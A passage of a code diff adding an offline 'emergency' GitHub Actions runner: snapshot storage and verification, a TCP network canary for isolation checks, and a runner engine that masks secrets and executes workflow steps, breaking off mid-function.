"bundle", message: "Body must be { manifest, contents }" }] }; + const decoded = new Map(); + const contentOf = async (f: { sha256: string }) => { + if (decoded.has(f.sha256)) return decoded.get(f.sha256); + const b64 = bundle.contents[f.sha256]; + if (typeof b64 !== "string") return undefined; + const bytes = fromBase64(b64); + decoded.set(f.sha256, bytes); + return bytes; + }; + const problems = await verifySnapshot(m, contentOf, now); + if (problems.length) return { created: false, problems }; + for (const key of Object.keys(bundle.contents)) if (!m.files.some((f) => f.sha256 === key)) return { created: false, problems: [{ severity: "error", code: "bundle", message: "Upload contains content no file refers to" }] }; + const id = await manifestDigest(m); + const existing = readRecord(id); + if (existing) return { record: await withValidation(existing), created: false, problems: [] }; + + // H1: the executor's own view of the pipeline, from the packaged files only. + const checked = await revalidateSnapshot(m, contentOf, now); + if (checked.mismatches.length) return { created: false, problems: checked.mismatches.map((message) => ({ severity: "error" as const, code: "manifest-mismatch", message })) }; + const otherRepository = all().find((r) => r.name === m.name && r.source.repository !== m.source.repository); + if (otherRepository) { + return { + created: false, + problems: [{ severity: "error", code: "name-owned", message: `The name "${m.name}" belongs to snapshots of ${otherRepository.source.repository}; a snapshot of ${m.source.repository} needs another name` }], + }; + } + // H2: a restricted name's next version comes only from whoever prepared its latest one. + const latest = all().filter((r) => r.name === m.name).sort((a, b) => b.version - a.version)[0]; + if (latest?.visibility === "restricted" && latest.preparedBy?.id !== owner?.preparedBy.id) { + return { created: false, problems: [{ severity: "error", code: "name-owned", message: `The name "${m.name}" belongs to a restricted snapshot prepared by someone else; use another name` }] }; + } + + const tmp = join(snapshots, `.tmp-${randomBytes(8).toString("hex")}`); + try { + mkdirSync(tmp); + writeFileSync(join(tmp, "manifest.json"), JSON.stringify(m)); + for (const f of m.files) { + const target = join(tmp, "files", ...f.root.split("/"), ...f.path.split("/")); + mkdirSync(dirname(target), { recursive: true }); + writeFileSync(target, (await contentOf(f))!); + } + const version = all().filter((r) => r.name === m.name).reduce((n, r) => Math.max(n, r.version), 0) + 1; + const record: SnapshotRecord = { + id, + name: m.name, + version, + storedAt: now.toISOString(), + expiresAt: m.expiresAt, + source: m.source, + entryWorkflows: m.entryWorkflows, + executable: checked.validation.executable, + totals: m.totals, + validation: checked.validation, + integrity: checked.integrity, + ...(owner ? { preparedBy: owner.preparedBy, visibility: owner.visibility } : {}), + }; + writeFileSync(join(tmp, "record.json"), JSON.stringify(record)); + makeReadOnly(tmp); + renameSync(tmp, join(snapshots, id)); + return { record, created: true, problems: [] }; + } catch (error) { + if (existsSync(tmp)) { + makeWritable(tmp); + rmSync(tmp, { recursive: true, force: true }); + } + throw error; + } + }, + + list(now = new Date()): SnapshotRecord[] { + this.purgeExpired(now); + return all().sort((a, b) => b.storedAt.localeCompare(a.storedAt)); + }, + + get(id: string): { record: SnapshotRecord; manifest: Manifest } | undefined { + const record = readRecord(id); + if (!record) return undefined; + return { record, manifest: JSON.parse(readFileSync(join(snapshots, id, "manifest.json"), "utf8")) as Manifest }; + }, + + /** Re-verifies stored content against the manifest (detects changes on the volume). */ + async verifyStored(id: string, now = new Date()): Promise { + const s = this.get(id); + if (!s) return [{ severity: "error", code: "missing", message: "No such snapshot" }]; + const problems = await verifySnapshot(s.manifest, async (f) => { + const p = join(snapshots, id, "files", ...f.root.split("/"), ...f.path.split("/")); + return existsSync(p) ? new Uint8Array(readFileSync(p)) : undefined; + }, now); + if ((await manifestDigest(s.manifest)) !== id) problems.push({ severity: "error", code: "digest", message: "Stored manifest does not match its digest" }); + return problems; + }, + + /** Path of a snapshot relative to the data volume (what the Job mounts with subPath). */ + subPath: (id: string) => `snapshots/${id}`, + + delete(id: string): boolean { + if (!DIGEST.test(id) || !existsSync(join(snapshots, id))) return false; + makeWritable(join(snapshots, id)); + rmSync(join(snapshots, id), { recursive: true, force: true }); + rmSync(join(validations, `${id}.json`), { force: true }); + return true; + }, + + purgeExpired(now = new Date()): string[] { + const removed: string[] = []; + for (const r of all()) if (Date.parse(r.expiresAt) <= now.getTime() && this.delete(r.id)) removed.push(r.id); + for (const d of readdirSync(snapshots)) { + // Leftovers of interrupted uploads. + if (d.startsWith(".tmp-") && Date.now() - statSync(join(snapshots, d)).mtimeMs > 3_600_000) { + makeWritable(join(snapshots, d)); + rmSync(join(snapshots, d), { recursive: true, force: true }); + } + } + return removed; + }, + + saveExecution(meta: ExecutionMeta) { + writeFileSync(join(executions, `${meta.id}.json`), JSON.stringify(meta)); + }, + /** + * The key of an execution recorded between H3 and H2, which the executor generated and kept apart from the + * metadata; since H2 the runner signs with a key pair of its own and there is no key to keep. + */ + eventKey(id: string): string | undefined { + const f = join(executions, `${id}.key`); + return EXECUTION_ID.test(id) && existsSync(f) ? readFileSync(f, "utf8") : undefined; + }, + getExecution(id: string): ExecutionMeta | undefined { + if (!EXECUTION_ID.test(id)) return undefined; + const f = join(executions, `${id}.json`); + return existsSync(f) ? (JSON.parse(readFileSync(f, "utf8")) as ExecutionMeta) : undefined; + }, + listExecutions(): ExecutionMeta[] { + return readdirSync(executions) + .filter((f) => /^[0-9a-f]{16}\.json$/.test(f)) + .map((f) => JSON.parse(readFileSync(join(executions, f), "utf8")) as ExecutionMeta) + .sort((a, b) => b.createdAt.localeCompare(a.createdAt)); + }, + /** The runner's final log, archived once the Job has finished (Jobs are deleted after their TTL). */ + archiveLog(id: string, text: string, exitCode?: number) { + if (!EXECUTION_ID.test(id)) return; + writeFileSync(join(executions, `${id}.log`), text); + // The container's exit code, kept to cross-check the runner's reported result after the Job is gone (H3). + if (exitCode !== undefined) writeFileSync(join(executions, `${id}.exit`), String(exitCode)); + }, + archivedExitCode(id: string): number | undefined { + const f = join(executions, `${id}.exit`); + return EXECUTION_ID.test(id) && existsSync(f) ? Number(readFileSync(f, "utf8")) : undefined; + }, + archivedLog(id: string): string | undefined { + const f = join(executions, `${id}.log`); + return EXECUTION_ID.test(id) && existsSync(f) ? readFileSync(f, "utf8") : undefined; + }, + }; +} + +export type Store = ReturnType; diff --git a/deploy/emergency/runner/canary.ts b/deploy/emergency/runner/canary.ts new file mode 100644 index 0000000..505c264 --- /dev/null +++ b/deploy/emergency/runner/canary.ts @@ -0,0 +1,23 @@ +// Network canary (security review C2): tries a TCP connection to each target and prints one result line per target. +// Run by the executor in a probe pod (an execution's exact labels and network settings) and in a control pod +// (deploy/emergency/executor/network-check.ts). Targets are IP addresses, so the result doesn't depend on DNS. +import { connect } from "node:net"; +import { CANARY_PREFIX } from "../../../src/emergency/events.ts"; + +type Target = { name: string; host: string; port: number }; + +function attempt(t: Target): Promise<{ name: string; host: string; port: number; reachable: boolean; detail: string }> { + return new Promise((done) => { + const socket = connect({ host: t.host, port: t.port, timeout: 4000 }); + const finish = (reachable: boolean, detail: string) => { + socket.destroy(); + done({ ...t, reachable, detail }); + }; + socket.once("connect", () => finish(true, "TCP connection established")); + socket.once("timeout", () => finish(false, "timed out after 4 s")); + socket.once("error", (e: NodeJS.ErrnoException) => finish(false, e.code ?? e.message)); + }); +} + +const targets = JSON.parse(process.env.GHA_EMERGENCY_CANARY_TARGETS ?? "[]") as Target[]; +for (const result of await Promise.all(targets.map(attempt))) process.stdout.write(`${CANARY_PREFIX}${JSON.stringify(result)}\n`); diff --git a/deploy/emergency/runner/engine.ts b/deploy/emergency/runner/engine.ts new file mode 100644 index 0000000..8c5d9e9 --- /dev/null +++ b/deploy/emergency/runner/engine.ts @@ -0,0 +1,615 @@ +// The emergency runner: executes one workflow from a verified snapshot, inside the Kubernetes Job's container, with +// no access to GitHub. It reproduces a documented subset of GitHub Actions (docs/EMERGENCY_EXECUTION.md) and never +// skips a step silently: anything it can't run fails the step with a reason. +// +// - Every job gets a fresh copy of the packaged workspace (GitHub runs each job on a fresh runner). +// - Jobs run one at a time, in `needs:` order (file order among ready jobs); reusable workflows run inline. +// - Steps: `run:` (bash, sh, python), JavaScript actions (main, and post at job end), composite actions, +// and actions/checkout of the snapshot commit (already satisfied by the packaged workspace). +// - GITHUB_OUTPUT, GITHUB_ENV, GITHUB_PATH, GITHUB_STATE and GITHUB_STEP_SUMMARY files and the ::set-output::, +// ::add-mask::, ::error:: (warning, notice) and ::save-state:: workflow commands are supported. +// - Secret values (and ::add-mask:: values) are masked in every log line and output before they are emitted. +import { spawn } from "node:child_process"; +import { randomUUID } from "node:crypto"; +import { lookup } from "node:dns/promises"; +import { chmodSync, copyFileSync, existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from "node:fs"; +import { connect } from "node:net"; +import { dirname, join, relative, resolve, sep } from "node:path"; +import { evaluate, interpolate, interpolateString, parseCondition, stringify, truthy, type JobStatus } from "../../../src/emergency/expressions.ts"; +import { sanitizeText } from "../../../src/emergency/event-stream.ts"; +import type { RunnerEvent, StepResult } from "../../../src/emergency/events.ts"; +import type { ActionDef, JobDef, StepDef, WorkflowDef } from "../../../src/emergency/model.ts"; +import { isCheckout, normalizePath, parseAction, parseUses, parseWorkflow } from "../../../src/emergency/model.ts"; +import type { ActionEntry, FileEntry, Manifest } from "../../../src/emergency/snapshot.ts"; +import { revalidateSnapshot } from "../../../src/emergency/revalidate.ts"; +import { hasErrors, manifestDigest, verifySnapshot, WORKSPACE } from "../../../src/emergency/snapshot.ts"; + +export type RunnerConfig = { + snapshotDir: string; + workDir: string; + /** Kubernetes Secret volume: one file per secret, named after it. Absent when the snapshot needs no secrets. */ + secretsDir?: string; + execution: { id: string; workflow: string; digest: string; inputs: Record; variables: Record }; + emit: (event: RunnerEvent) => void; + /** Executables; defaults suit the runner image. */ + commands?: { bash: string; sh: string; python: string; node: string }; + /** Upper bound for any job or step timeout, in minutes. */ + maxMinutes?: number; + /** Hosts checked (and expected to be unreachable) before execution. Empty: no check. */ + networkProbe?: string[]; + basePath?: string; +}; + +type Contexts = Record; +type JobRecord = { result: StepResult; outputs: Record }; + +class Masker { + private values = new Set(); + add(value: string) { + for (const v of [value, ...value.split(/\r?\n/)]) if (v.trim().length > 0) this.values.add(v); + } + apply(text: string): string { + let out = text; + for (const v of [...this.values].sort((a, b) => b.length - a.length)) out = out.split(v).join("***"); + return out; + } +} + +const now = () => new Date().toISOString(); + +/** Parses GitHub's file commands: `name=value` and `name< { + const out: Record = {}; + const lines = text.split(/\r?\n/); + for (let i = 0; i < lines.length; i++) { + const line = lines[i]!; + if (!line) continue; + const heredoc = /^([^=<]+)<<(.+)$/.exec(line); + if (heredoc) { + const [, name, delim] = heredoc as unknown as [string, string, string]; + const value: string[] = []; + for (i++; i < lines.length && lines[i] !== delim; i++) value.push(lines[i]!); + out[name] = value.join("\n"); + continue; + } + const eq = line.indexOf("="); + if (eq > 0) out[line.slice(0, eq)] = line.slice(eq + 1); + } + return out; +} + +export async function runSnapshot(config: RunnerConfig): Promise { + const started = Date.now(); + const emit = config.emit; + const masker = new Masker(); + const maxMinutes = config.maxMinutes ?? 60; + const cmd = config.commands ?? { bash: "bash", sh: "sh", python: "python3", node: "node" }; + // Security review H3: everything the runner emits from workflow-controlled text is masked, then sanitized + // (control characters, ANSI escapes, bidirectional overrides made visible). Data passed between steps and jobs + // is masked only, so workflow behaviour doesn't change. + const display = (text: string) => sanitizeText(masker.apply(text)); + const displayMap = (m: Record) => Object.fromEntries(Object.entries(m).map(([k, v]) => [sanitizeText(k), display(v)])); + const log = (text: string, job?: string, step?: number, stream: "stdout" | "stderr" | "runner" = "runner") => emit({ type: "log", at: now(), job, step, stream, text: display(text) }); + const end = (result: StepResult, reason?: string, outputs: Record = {}) => { + emit({ type: "execution-end", at: now(), result, durationMs: Date.now() - started, outputs: displayMap(outputs), reason: reason && display(reason) }); + return result; + }; + + // 1. Secrets first, so nothing below can print one unmasked. + const secrets: Record = {}; + if (config.secretsDir && existsSync(config.secretsDir)) { + for (const name of readdirNames(config.secretsDir)) { + const value = readFileSync(join(config.secretsDir, name), "utf8"); + secrets[name] = value; + masker.add(value); + } + } + + // 2. The snapshot: exactly the one requested, intact and unexpired. + let manifest: Manifest; + try { + manifest = JSON.parse(readFileSync(join(config.snapshotDir, "manifest.json"), "utf8")) as Manifest; + } catch (error) { + return end("failure", `Snapshot manifest unreadable: ${(error as Error).message}`); + } + const digest = await manifestDigest(manifest); + emit({ type: "execution-start", at: now(), executionId: config.execution.id, digest, workflow: config.execution.workflow, source: { repository: manifest.source?.repository, sha: manifest.source?.sha } }); + const fileOf = (f: { root: string; path: string }) => join(config.snapshotDir, "files", ...f.root.split("/"), ...f.path.split("/")); + const problems = await verifySnapshot(manifest, async (f) => (existsSync(fileOf(f)) ? new Uint8Array(readFileSync(fileOf(f))) : undefined)); + if (digest !== config.execution.digest) problems.push({ severity: "error", code: "digest", message: `Snapshot digest ${digest} is not the requested ${config.execution.digest}` }); + if (hasErrors(manifest.diagnostics ?? [])) problems.push({ severity: "error", code: "not-executable", message: "The snapshot has validation errors and is not executable" }); + // Security review H1, in depth: re-derive the pipeline from the mounted files, independently of the executor. + if (!problems.length) { + const recheck = await revalidateSnapshot(manifest, async (f) => (existsSync(fileOf(f)) ? new Uint8Array(readFileSync(fileOf(f))) : undefined)); + for (const message of recheck.mismatches) problems.push({ severity: "error", code: "manifest-mismatch", message }); + if (!recheck.validation.executable && !recheck.mismatches.length) problems.push({ severity: "error", code: "not-executable", message: "Validation of the mounted files found errors" }); + } + emit({ type: "verify", at: now(), ok: problems.length === 0, files: manifest.files?.length ?? 0, problems: problems.map((p) => p.message) }); + if (problems.length) return end("failure", "Snapshot verification failed"); + if (!manifest.entryWorkflows.includes(config.execution.workflow)) return end("failure", `${config.execution.workflow} is not an entry workflow of this snapshot`); + // Security review C1: only the keys the snapshot requires may be mounted. Anything else could be read by workflow + // code, so nothing runs (key names are reported, values never). + const required = new Set(manifest.requirements.secrets.map((r) => r.name)); + const unexpected = Object.keys(secrets).filter((n) => !required.has(n)); + if (unexpected.length) return end("failure", `Refusing to run: Secret keys this snapshot does not require are mounted (${unexpected.sort().join(", ")}). Only required keys may be mounted.`); + for (const r of manifest.requirements.secrets) if (!(r.name in secrets)) return end("failure", `Required secret ${r.name} was not supplied`); + + // 3. Evidence that GitHub is not reachable from here (the execution must not depend on it). + for (const host of config.networkProbe ?? []) emit({ type: "network", at: now(), host, ...(await probe(host)) }); + + const actionsByKey = new Map(manifest.actions.map((a) => [a.key, a])); + const workspaceFiles = manifest.files.filter((f) => f.root === WORKSPACE); + const readSnapshotText = (root: string, path: string) => readFileSync(fileOf({ root, path }), "utf8"); + const actionDir = (a: ActionEntry) => join(config.snapshotDir, "files", ...a.root.split("/"), ...(a.dir ? a.dir.split("/") : [])); + + const ref = manifest.source.ref; + const githubBase = { + repository: manifest.source.repository, + repository_owner: manifest.source.repository.split("/")[0], + sha: manifest.source.sha, + ref: /^[0-9a-f]{40}$/.test(ref) ? "" : ref.startsWith("refs/") ? ref : `refs/heads/${ref}`, + ref_name: ref.replace(/^refs\/(?:heads|tags)\//, ""), + ref_type: ref.startsWith("refs/tags/") ? "tag" : "branch", + run_id: config.execution.id, + run_number: 1, + run_attempt: 1, + actor: "emergency-operator", + triggering_actor: "emergency-operator", + event_name: "workflow_dispatch", + event: { inputs: config.execution.inputs }, + server_url: "https://github.com", + api_url: "https://api.github.com", + head_ref: "", + base_ref: "", + }; + let jobCounter = 0; + + const coerceInputs = (specs: Record, given: Record) => { + const out: Record = {}; + for (const [name, spec] of Object.entries(specs)) { + const raw = name in given ? given[name] : spec.default; + if (raw === undefined) continue; + out[name] = spec.type === "boolean" ? raw === true || String(raw).toLowerCase() === "true" : spec.type === "number" ? Number(raw) : raw; + } + return out; + }; + + /** Runs a workflow's jobs. Returns each job's record and the workflow's result. */ + const runWorkflow = async (wf: WorkflowDef, inputs: Record, wfSecrets: Record, prefix: string, depth: number): Promise<{ result: StepResult; jobs: Record }> => { + const records: Record = {}; + const pending = [...wf.jobs]; + let failed = false; + while (pending.length) { + const i = pending.findIndex((j) => j.needs.every((n) => n in records)); + if (i < 0) { + for (const j of pending) records[j.id] = { result: "skipped", outputs: {} }; + break; + } + const job = pending.splice(i, 1)[0]!; + const key = prefix + job.id; + const needs = Object.fromEntries(job.needs.map((n) => [n, records[n]!])); + const needResults = job.needs.map((n) => records[n]!.result); + const status: JobStatus = needResults.includes("failure") ? "failure" : needResults.includes("cancelled") ? "cancelled" : needResults.includes("skipped") ? "skipped" : "success"; + const contexts: Contexts = { github: { ...githubBase, workflow: wf.name ?? wf.path, job: job.id }, inputs, secrets: wfSecrets, vars: config.execution.variables, needs, env: { ...wf.env }, runner: runnerContext(""), matrix: {}, strategy: {} }; + emit({ type: "job-start", at: now(), job: key, name: display(job.name ? interpolateString(job.name, { contexts }) : job.id), workflow: wf.path, needs: job.needs.map((n) => prefix + n) }); + let run: boolean; + try { + run = truthy(evaluate(parseCondition(job.if), { contexts, status })); + } catch (error) { + records[job.id] = { result: "failure", outputs: {} }; + emit({ type: "job-end", at: now(), job: key, result: "failure", outputs: {}, reason: display(`if: ${(error as Error).message}`) }); + failed = true; + continue; + } + if (!run) { + records[job.id] = { result: "skipped", outputs: {} }; + emit({ type: "job-end", at: now(), job: key, result: "skipped", outputs: {}, reason: status === "success" ? "if: condition was false" : `a needed job ${status === "failure" ? "failed" : "was skipped or cancelled"}` }); + continue; + } + const record = job.uses ? await runCall(job, contexts, wfSecrets, key, depth) : await runStepsJob(job, wf, contexts, key); + const continueOnError = truthy(typeof job.continueOnError === "string" ? interpolate(job.continueOnError, { contexts }) : job.continueOnError); + records[job.id] = record; + if (record.result === "failure" && !continueOnError) failed = true; + } + return { result: failed ? "failure" : "success", jobs: records }; + }; + + const runCall = async (job: JobDef, contexts: Contexts, callerSecrets: Record, key: string, depth: number): Promise => { + const u = parseUses(job.uses!); + let text: string; + let path: string; + try { + if (u.kind === "local") { + path = u.path; + text = readSnapshotText(WORKSPACE, path); + } else if (u.kind === "remote") { + const root = manifest.roots.find((r) => r.repository.toLowerCase() === `${u.owner}/${u.repo}`.toLowerCase() && (r.ref === u.ref || r.sha === u.ref) && r.kind === "workflow"); + if (!root) throw new Error(`${job.uses} is not in the snapshot`); + path = u.path; + text = readSnapshotText(root.id, path); + } else throw new Error(`Unsupported reusable workflow reference ${job.uses}`); + } catch (error) { + emit({ type: "job-end", at: now(), job: key, result: "failure", outputs: {}, reason: display((error as Error).message) }); + return { result: "failure", outputs: {} }; + } + const callee = parseWorkflow(path, text); + const given = Object.fromEntries(Object.entries(job.with).map(([k, v]) => [k, typeof v === "string" ? interpolate(v, { contexts }) : v])); + const calleeSecrets = job.secrets === "inherit" ? { ...callerSecrets } : Object.fromEntries(Object.entries(job.secrets).map(([k, v]) => [k, interpolateString(v, { contexts })])); + log(`Calling reusable workflow ${job.uses}`, key); + const inner = await runWorkflow(callee, coerceInputs(callee.call?.inputs ?? {}, given), calleeSecrets, `${key}/`, depth + 1); + const outputs: Record = {}; + const jobsCtx = Object.fromEntries(Object.entries(inner.jobs).map(([id, r]) => [id, r])); + for (const [name, expr] of Object.entries(callee.call?.outputs ?? {})) { + try { + outputs[name] = masker.apply(interpolateString(expr, { contexts: { ...contexts, jobs: jobsCtx } })); + } catch (error) { + log(`Output ${name}: ${(error as Error).message}`, key); + } + } + emit({ type: "job-end", at: now(), job: key, result: inner.result, outputs: displayMap(outputs) }); + return { result: inner.result, outputs }; + }; + + type StepState = { env: Record; path: string[]; steps: Record; outcome: StepResult; conclusion: StepResult }>; failed: boolean; posts: (() => Promise)[]; stepNo: number }; + + const runStepsJob = async (job: JobDef, wf: WorkflowDef, baseContexts: Contexts, key: string): Promise => { + const jobDir = join(config.workDir, "jobs", String(++jobCounter)); + const workspace = join(jobDir, "workspace"); + const temp = join(jobDir, "temp"); + for (const d of [workspace, temp, join(jobDir, "home"), join(jobDir, "tool-cache")]) mkdirSync(d, { recursive: true }); + for (const f of workspaceFiles) restore(f, workspace); + log(`Workspace restored from snapshot: ${workspaceFiles.length} files at ${manifest.source.sha.slice(0, 7)}`, key); + const deadline = Date.now() + Math.min(job.timeoutMinutes ?? 360, maxMinutes) * 60_000; + const state: StepState = { env: { ...wf.env, ...stringMap(job.env, baseContexts) }, path: [], steps: {}, failed: false, posts: [], stepNo: 0 }; + const jobContexts: Contexts = { ...baseContexts, env: state.env, steps: state.steps, job: { status: "success" }, runner: runnerContext(temp), github: { ...(baseContexts.github as object), workspace } }; + const shell = job.defaults.shell ?? wf.defaults.shell; + const workingDirectory = job.defaults.workingDirectory ?? wf.defaults.workingDirectory; + await runSteps(job.steps, state, jobContexts, { key, workspace, temp, jobDir, deadline, shell, workingDirectory, actionPath: "" }); + for (const post of state.posts.reverse()) await post(); + const result: StepResult = state.failed ? "failure" : "success"; + const outputs: Record = {}; + for (const [name, expr] of Object.entries(job.outputs)) { + try { + outputs[name] = masker.apply(interpolateString(expr, { contexts: { ...jobContexts, steps: state.steps }, status: result === "failure" ? "failure" : "success" })); + } catch (error) { + log(`Output ${name}: ${(error as Error).message}`, key); + } + } + emit({ type: "job-end", at: now(), job: key, result, outputs: displayMap(outputs) }); + return { result, outputs }; + }; + + type Place = { key: string; workspace: string; temp: string; jobDir: string; deadline: number; shell?: string; workingDirectory?: string; actionPath: string; labelPrefix?: string }; + + const runSteps = async (steps: StepDef[], state: StepState, contexts: Contexts, place: Place) => { + for (const step of steps) { + const no = ++state.stepNo; + const ctx: Contexts = { ...contexts, env: { ...(contexts.env as object), ...state.env }, steps: state.steps }; + const status: JobStatus = state.failed ? "failure" : "success"; + let label = step.name ?? step.id ?? (step.uses ? `Run ${step.uses}` : `Run ${step.run?.split("\n")[0]?.slice(0, 60)}`); + try { + label = interpolateString(label, { contexts: ctx, status }); + } catch { + // keep the raw label + } + emit({ type: "step-start", at: now(), job: place.key, step: no, name: display((place.labelPrefix ?? "") + label), kind: step.run !== undefined ? "run" : step.uses ? "uses" : "unknown", detail: step.uses }); + const t0 = Date.now(); + const finish = (outcome: StepResult, exitCode: number | null, outputs: Record, reason?: string) => { + let continueOnError: boolean; + try { + continueOnError = truthy(typeof step.continueOnError === "string" ? interpolate(step.continueOnError, { contexts: ctx }) : step.continueOnError); + } catch { + continueOnError = false; + } + const conclusion: StepResult = outcome === "failure" && continueOnError ? "success" : outcome; + if (conclusion === "failure") state.failed = true; + const masked = displayMap(outputs); + if (step.id) state.steps[step.id] = { outputs, outcome, conclusion }; + emit({ type: "step-end", at: now(), job: place.key, step: no, outcome, conclusion, exitCode, durationMs: Date.now() - t0, outputs: masked, reason: reason && display(reason) }); + }; + let run: boolean; + try { + run = truthy(evaluate(parseCondition(step.if), { contexts: ctx, status })); + } catch (error) { + finish("failure", null, {}, `if: ${(error as Error).message}`); + continue; + } + if (!run) { + finish("skipped", null, {}, state.failed ? "an earlier step failed" : "if: condition was false"); + continue; + } + if (Date.now() >= place.deadline) { + finish("cancelled", null, {}, "job timeout reached"); + state.failed = true; + continue; + } + try { + const r = await runOne(step, no, state, ctx, place); + finish(r.outcome, r.exitCode, r.outputs, r.reason); + } catch (error) { + finish("failure", null, {}, (error as Error).message); + } + } + }; + + type StepRun = { outcome: StepResult; exitCode: number | null; outputs: Record; reason?: string }; + + const runOne = async (step: StepDef, no: number, state: StepState, ctx: Contexts, place: Place): Promise => { + const evalCtx = { contexts: ctx, status: (state.failed ? "failure" : "success") as JobStatus }; + const stepEnv = { ...(ctx.env as Record), ...Object.fromEntries(Object.entries(step.env).map(([k, v]) => [k, interpolateString(v, evalCtx)])) }; + const timeoutAt = Math.min(place.deadline, Date.now() + Math.min(step.timeoutMinutes ?? maxMinutes, maxMinutes) * 60_000); + if (step.run !== undefined) { + const script = interpolateString(step.run, evalCtx); + const shell = (step.shell ?? place.shell ?? "").trim(); + const wd = resolveInside(place.workspace, step.workingDirectory ?? place.workingDirectory, evalCtx); + const { argv, ext } = shellCommand(shell, cmd); + const file = join(place.temp, `${randomUUID()}${ext}`); + writeFileSync(file, script); + return runProcess(argv.map((a) => (a === "{0}" ? file : a)), wd, stepEnv, state, place, no, step.id, timeoutAt); + } + const u = parseUses(step.uses ?? ""); + if (isCheckout(u)) { + log("actions/checkout: the packaged workspace at the snapshot commit is already in place (no Git or GitHub access)", place.key, no); + return { outcome: "success", exitCode: 0, outputs: { ref: githubBase.ref, commit: manifest.source.sha } }; + } + const entry = actionsByKey.get(step.uses ?? ""); + if (!entry || entry.substitutedBy) return { outcome: "failure", exitCode: null, outputs: {}, reason: `${step.uses} is not packaged in this snapshot` }; + const dir = actionDir(entry); + const action = parseAction(entry.key, readSnapshotText(entry.root, entry.file)); + const inputs: Record = {}; + for (const [name, spec] of Object.entries(action.inputs)) { + const given = Object.keys(step.with).find((k) => k.toLowerCase() === name.toLowerCase()); + if (given !== undefined) inputs[name] = interpolateString(step.with[given]!, evalCtx); + else if (spec.default !== undefined) inputs[name] = interpolateString(spec.default, evalCtx); + } + for (const [k, v] of Object.entries(step.with)) if (!(k in inputs) && !Object.keys(inputs).some((n) => n.toLowerCase() === k.toLowerCase())) inputs[k] = interpolateString(v, evalCtx); + if (action.using === "node") return runNodeAction(action, entry, dir, inputs, stepEnv, state, place, no, step.id, timeoutAt); + if (action.using === "composite") return runComposite(action, dir, inputs, stepEnv, state, ctx, place, no); + return { outcome: "failure", exitCode: null, outputs: {}, reason: `${action.runtime} actions are not supported` }; + }; + + const runNodeAction = async (action: ActionDef, entry: ActionEntry, dir: string, inputs: Record, env: Record, state: StepState, place: Place, no: number, id: string | undefined, timeoutAt: number): Promise => { + const inputEnv = Object.fromEntries(Object.entries(inputs).map(([k, v]) => [`INPUT_${k.replace(/ /g, "_").toUpperCase()}`, v])); + const main = join(dir, ...action.main!.replace(/^\.\//, "").split("/")); + const stateFile = join(place.temp, `state-${randomUUID()}`); + const extra = { ...inputEnv, GITHUB_ACTION_PATH: dir, GITHUB_ACTION_REPOSITORY: entry.root === WORKSPACE ? "" : entry.root.split("/").slice(1, 3).join("/") }; + const r = await runProcess([cmd.node, main], place.workspace, { ...env, ...extra }, state, place, no, id, timeoutAt, stateFile); + if (action.post) { + const savedState = existsSync(stateFile) ? parseFileCommands(readFileSync(stateFile, "utf8")) : {}; + const postIf = action.postIf ?? "always()"; + const post = join(dir, ...action.post.replace(/^\.\//, "").split("/")); + state.posts.push(async () => { + const status: JobStatus = state.failed ? "failure" : "success"; + const postNo = ++state.stepNo; + emit({ type: "step-start", at: now(), job: place.key, step: postNo, name: `Post ${entry.key}`, kind: "post", detail: entry.key }); + const t0 = Date.now(); + if (!truthy(evaluate(parseCondition(postIf), { contexts: {}, status }))) { + emit({ type: "step-end", at: now(), job: place.key, step: postNo, outcome: "skipped", conclusion: "skipped", exitCode: null, durationMs: 0, outputs: {}, reason: `post-if: ${postIf}` }); + return; + } + const stateEnv = Object.fromEntries(Object.entries(savedState).map(([k, v]) => [`STATE_${k}`, v])); + const pr = await runProcess([cmd.node, post], place.workspace, { ...env, ...extra, ...stateEnv }, state, place, postNo, undefined, Math.max(Date.now() + 60_000, place.deadline)); + if (pr.outcome === "failure") state.failed = true; + emit({ type: "step-end", at: now(), job: place.key, step: postNo, outcome: pr.outcome, conclusion: pr.outcome, exitCode: pr.exitCode, durationMs: Date.now() - t0, outputs: {}, reason: pr.reason }); + }); + } + return r; + }; + + const runComposite = async (action: ActionDef, dir: string, inputs: Record, env: Record, outer: StepState, ctx: Contexts, place: Place, no: number): Promise => { + const inner: StepState = { env: {}, path: outer.path, steps: {}, failed: false, posts: outer.posts, stepNo: outer.stepNo }; + const contexts: Contexts = { ...ctx, inputs, env, steps: inner.steps, github: { ...(ctx.github as object), action_path: dir } }; + log(`Composite action: ${action.steps.length} steps`, place.key, no); + await runSteps(action.steps, inner, contexts, { ...place, actionPath: dir, shell: undefined, workingDirectory: undefined, labelPrefix: `${place.labelPrefix ?? ""}${action.name ?? "composite"} › ` }); + outer.stepNo = inner.stepNo; + Object.assign(outer.env, inner.env); + const outputs: Record = {}; + for (const [name, expr] of Object.entries(action.outputs)) if (expr !== undefined) outputs[name] = interpolateString(expr, { contexts: { ...contexts, steps: inner.steps } }); + return { outcome: inner.failed ? "failure" : "success", exitCode: inner.failed ? 1 : 0, outputs, reason: inner.failed ? "a step of the composite action failed" : undefined }; + }; + + /** Runs one process with GitHub's file commands and workflow-command parsing; masks everything it emits. */ + const runProcess = async (argv: string[], cwd: string, env: Record, state: StepState, place: Place, no: number, id: string | undefined, timeoutAt: number, stateFile?: string): Promise => { + const files = Object.fromEntries(["output", "env", "path", "state", "summary"].map((n) => [n, n === "state" && stateFile ? stateFile : join(place.temp, `${n}-${randomUUID()}`)])); + for (const f of Object.values(files)) writeFileSync(f, "", { flag: "a" }); + const processEnv: Record = { + ...baseEnv(), + HOME: join(place.jobDir, "home"), + CI: "true", + GITHUB_ACTIONS: "true", + EMERGENCY_EXECUTION: "true", + RUNNER_OS: "Linux", + RUNNER_ARCH: process.arch === "arm64" ? "ARM64" : "X64", + RUNNER_TEMP: place.temp, + RUNNER_TOOL_CACHE: join(place.jobDir, "tool-cache"), + GITHUB_WORKSPACE: place.workspace, + GITHUB_REPOSITORY: githubBase.repository, + GITHUB_REPOSITORY_OWNER: String(githubBase.repository_owner), + GITHUB_SHA: githubBase.sha, + GITHUB_REF: githubBase.ref, + GITHUB_REF_NAME: githubBase.ref_name, + GITHUB_RUN_ID: githubBase.run_id, + GITHUB_RUN_NUMBER: "1", + GITHUB_RUN_ATTEMPT: "1", + GITHUB_EVENT_NAME: githubBase.event_name, + GITHUB_EVENT_PATH: eventFile(place.temp), + GITHUB_SERVER_URL: githubBase.server_url, + GITHUB_API_URL: githubBase.api_url, + GITHUB_ACTOR: githubBase.actor, + GITHUB_JOB: place.key, + GITHUB_ACTION: id ?? `__step${no}`, + GITHUB_ACTION_PATH: place.actionPath, + GITHUB_OUTPUT: 